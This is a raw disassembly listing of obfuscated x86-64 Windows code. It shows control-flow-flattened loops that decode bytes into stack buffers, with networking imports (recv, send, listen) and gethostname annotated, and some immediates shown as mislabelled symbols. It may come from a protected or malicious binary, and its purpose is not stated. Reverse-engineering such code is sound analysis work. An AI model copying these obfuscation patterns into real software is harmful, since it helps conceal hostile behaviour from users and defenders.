lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140089118
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400890ef
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400890b5
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140088ce0
lea r8, [r9 + 1]
lea r9, [r8 + 0xa]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14008989d
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140089878
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140088e7c
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140088e5c
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140088e3c
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140089052
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140089003
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140088fd4
lea r8, [r9 + 0x61]
lea r9, [r8 + 4]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140088f9a
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140088f71
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140088f4b
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140088f14
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140088eef
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140088ec0
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140088e9a
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140088ce0
lea r8, [r9 + 8]
lea r9, [r8 + 0x64]
jmp 0x140088ce0
lea rdx, [rbx + rsi]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140088cd0
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140088c70
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x7e
add r10b, dl
jmp 0x140088c05
movabs rdx, 0x640036909c70c1b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140089779
movabs rdx, 0xedcf7237d5ab0638
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140088bf2
movabs rdx, 0xb2b7100b7248287c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x64
jmp 0x140089626
movabs rcx, 0x779eaddf0ee54ac0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088bf2
movabs rdx, 0x16de986481f8f48
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140089693
movabs rdx, 0xc6558759e4bcb18c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400897fa
movabs rdx, 0x8b3d252d8159d3d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xe30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088bf2
movabs rcx, 0xf7802fbe88e2a97a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
mov byte [rbp + rbx + 0xe30], r10b
inc rbx
jmp 0x140088bf2
movabs rcx, 0xbc67cd92257fcbbe
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
cmp r9, 9
jb 0x140088ff3
movabs rdx, 0xc5db8ed7ccb22c74
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x58]
jmp 0x14008977c
movabs rdx, 0x814f6b65c21cee02
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xe
add r10b, dl
cmp r8, 0x7a
jae 0x1400895fe
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x140089491
movabs rdx, 0x76e7b91bead5831c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140089022
movabs rdx, 0x8b0028ec75549144
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xe30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088bf2
movabs rdx, 0x14cf6493ae8ed5cc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140089696
movabs rcx, 0xd9b702674b2bf810
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088bf2
movabs rcx, 0x9e9ea03ae7c91a54
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088bf2
movabs rdx, 0x63863e0e84663c98
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x28
jmp 0x140089626
movabs rdx, 0xed5579b5bda08120
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140088bf2
movabs rdx, 0xb23d17895a3da364
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140089779
lea rax, [r9 + 8]
cmp r8, rax
jae 0x140089264
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x12
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 2
je 0x14008966b
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x140089367
movabs rdx, 0xa67b249d7476ae6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4a
jmp 0x140089072
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400892ab
movabs rdx, 0xd9000da4271c306c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xe30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088bf2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400892ec
movabs rcx, 0x8a4934295144c9a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088bf2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140089335
movabs rdx, 0xc5619655b4a7a75c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088bf2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140089224
movabs rdx, 0xb1c31f0742331e4c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x14
jmp 0x140089779
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140089399
movabs rdx, 0x458014763aaa48a2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6e
jmp 0x140089779
inc rax
cmp r8, rax
jne 0x1400893d7
movabs rdx, 0x809876a29e0d265e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140088bf2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140089413
movabs rdx, 0xbbb0d8cf0170041a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140088bf2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008945c
movabs rdx, 0x31e19d27c835bf92
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088bf2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140089075
movabs rdx, 0xe32ac3acf25e58c6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6a
add r10b, dl
jmp 0x1400897fa
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400894d8
movabs rdx, 0xb2001b484e3860d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xe30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088bf2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008950a
movabs rdx, 0x2830dfa114fe1c50
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x30
jmp 0x140089693
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008954c
movabs rcx, 0x634941cd7860fa0c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x54
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088bf2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140089591
movabs rcx, 0x9e61a3f9dbc3d7c8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088bf2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400895cd
movabs rdx, 0x14926852a2899340
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140088bf2
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140089022
movabs rcx, 0x8ac32cab694f4eb8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x14008977c
movabs rdx, 0xf3f10430150a30
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xe30]
sub r10b, al
sub r10b, 0x50
add r10b, r11b
add r10b, dl
movabs rcx, 0x1e80221a61c6790e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x62
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0xe30], r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088bf2
movabs rdx, 0x3c0c53309377e7ec
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xe30]
sub r10b, 0x74
add r10b, dl
movabs rdx, 0x59988446c52956ca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xe30], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400897fa
movabs rcx, 0xcf1253dc67df4a9e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x52
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088bf2
movabs rdx, 0x1dc92d573db6b16a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140088bf2
movabs rdx, 0xa79868fe76f0f5f2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140089779
movabs rdx, 0x3167a4a5b02b3a7a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x56
add r10b, dl
movabs rcx, 0xe367bfedfe639b52
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x3e
add cl, r11b
mov byte [rbp + rbx + 0xe30], cl
inc r9
dec rbx
inc rbx
jmp 0x140088bf2
movabs rcx, 0xbb36e04ce9657f02
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xe
dec rbx
inc rbx
jmp 0x140088bf2
mov r11, rdx
movabs rcx, 0x93bcf56ef8772a56
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x5a
movabs rdx, 0x7724b55cf6dac5a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xe30], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xe30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088bf2
movabs rcx, 0x58a4934295144c9a
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x36
movzx eax, byte [rbp + rbx + 0xe30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088bf2
movabs rcx, 0x59d58087d12e9956
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5a
jmp 0x140088bf0
movabs rcx, 0x1ebd1e5b6dcbbb9a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x36
jmp 0x140088be0
lea rsi, [rbp + 0x1768b58]
jmp 0x1400898e1
lea rsi, [rbp + 0xa7fa36]
jmp 0x1400898e1
lea rsi, [rbp + 0xe30]
lea rdx, [0x140236e70]
lea rcx, [rbp + 0x620]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xc0]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006b4d0
mov rdi, rax
mov byte [rbp + 0xe58], reloc.WS2_32.dll_recv
mov byte [rbp + 0xe59], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xe5a], 0x67
mov byte [rbp + 0xe5b], 0x67
mov byte [rbp + 0xe5c], WSASetLastError
mov byte [rbp + 0xe5d], 0x66
mov byte [rbp + 0xe5e], WSACleanup
mov byte [rbp + 0xe5f], WSASetLastError
mov byte [rbp + 0xe60], 0x67
mov byte [rbp + 0xe61], 0x67
mov byte [rbp + 0xe62], Ordinal_45
mov byte [rbp + 0xe63], reloc.WS2_32.dll_send
mov byte [rbp + 0xe64], 0xcc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe65], xmm0
mov dword [rbp + 0xe75], eax
mov word [rbp + 0xe79], ax
movabs r14, 0xcc4b8a24e1e8420
movabs r12, 0x48530f3e7efabfe0
movabs r13, 0x840f8ff2160408a0
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
movabs rcx, 0x6221bfa6347b5ba0
cmp rbx, 0x23
jae 0x14008a834
movzx r11d, byte [rbp + rbx + 0xe58]
mov rdx, r11
cmp r8, rbx
ja 0x14008a828
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140089a34
add rcx, rbx
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x60
jmp 0x140089a70
je 0x14008a79a
inc rax
cmp r8, rax
je 0x14008a767
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008a701
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008a6d2
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008a6a4
nop dword [rax]
cmp r9, rbx
ja 0x14008a81c
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x140089aa9
lea rdx, [rbx + r14]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140089ae0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008a64a
inc rax
cmp r8, rax
je 0x14008a61f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008a5fe
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008a563
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008a134
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008a10f
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008a0e5
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008a0d1
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008a0ac
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14008a074
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008a065
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008a03c
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14008a018
lea rcx, [r9 + 0x5a]
cmp r8, rcx
je 0x140089fe2
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140089af0
mov r8, rcx
lea r9, [rcx + 0x3e8]
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x14008a7f7
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x14008a7ce
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x140089ce7
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x140089cc8
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x140089ca9
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x140089f78
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x140089f0e
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x140089ebf
lea rcx, [r9 + 0x1000]
cmp r8, rcx
jb 0x140089e90
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140089af0
mov r8, rcx
lea r9, [rcx + 0x42]
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x140089e5f
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x140089e36
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x140089e0e
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x140089dda
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x140089da6
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x140089d92
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x140089d68
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x140089d3b
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x140089d1a
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x140089af0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x10]
jmp 0x140089af0
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
add r10b, dl
jmp 0x140089ae0
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
add r10b, dl
jmp 0x140089a70
movabs rdx, 0xbfcc10a5ad0d5160
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rcx, 0x6221bfa6347b5ba0
jmp 0x1400899ff
movabs rdx, 0x6625c51270f42100
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
jmp 0x14008a66b
movabs rcx, 0xa1e245c607fd69c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x1400899e2
movabs rcx, 0xdd9ec6799f06b280
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
dec rbx
inc rbx
jmp 0x1400899e2
movabs rdx, 0x195b472d360ffb40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14008a710
movabs rcx, 0x5517c7e0cd194400
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400899e2
movabs rcx, 0x90d4489464228cc0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400899e2
movabs rdx, 0xcc90c947fb2bd580
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
jmp 0x14008a582
movabs rdx, 0x84d49fb92351e40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008a5b5
movabs rcx, 0x4409caaf293e6700
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
movzx eax, byte [rbp + rbx + 0xe58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400899e2
movabs rcx, 0x59610c7022d59ce0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
mov byte [rbp + rbx + 0xe58], r10b
inc rbx
jmp 0x1400899e2
movabs rcx, 0x951d8d23b9dee5a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
cmp r9, 0x28
jb 0x140089eaf
movabs rdx, 0x19725c38e92681c0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x80]
jmp 0x14008a66e
movabs rdx, 0xd0da0dd750e82e60
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r8, 0x80
jae 0x14008a50c
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14008a3bd
movabs rdx, 0x6ecf633ccf835940
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140089ede
movabs rdx, 0xc968e8ae7f17720
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x14008a532
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x14008a26b
movabs rdx, 0x620aaa9a8164d520
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140089f32
movabs rcx, 0x4c9c53cdd4b718c0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
movzx eax, byte [rbp + rbx + 0xe58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400899e2
movabs rcx, 0x8858d4816bc06180
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14008a5b5
movabs rdx, 0xc415553502c9aa40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008a582
movabs rcx, 0xffd1d5e899d2f300
jmp 0x14008a1fb
movabs rcx, 0x3b8e569c30dc3bc0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400899e2
movabs rdx, 0x774ad74fc7e58480
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
jmp 0x14008a722
movabs rdx, 0xb30758035eeecd40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14008a6e1
movabs rcx, 0xeec3d8b6f5f81600
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
inc r9
dec rbx
inc rbx
jmp 0x1400899e2
movabs rdx, 0x2a80596a8d015ec0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x40
jmp 0x14008a66b
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14008a169
movabs rdx, 0x6221bfa6347b5ba0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
add r10b, dl
jmp 0x140089f9c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008a1b0
movabs rdx, 0x198971449c3d0840
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xe58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400899e2
inc rax
cmp r8, rax
jne 0x14008a1e4
movabs rdx, 0xa2106fdd6e2a76c0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x40
add r10b, dl
jmp 0x14008a582
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008a222
movabs rcx, 0x6653ef29d7212e00
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400899e2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140089f9c
movabs rdx, 0x2a976e764017e540
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400899e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008a287
movabs rdx, 0x264e29e6ea5b8c60
jmp 0x14008a654
inc rax
cmp r8, rax
jne 0x14008a2c0
movabs rcx, 0xea91a933535243a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x1400899e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008a2f7
movabs rcx, 0xaed5287fbc48fae0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x1400899e2
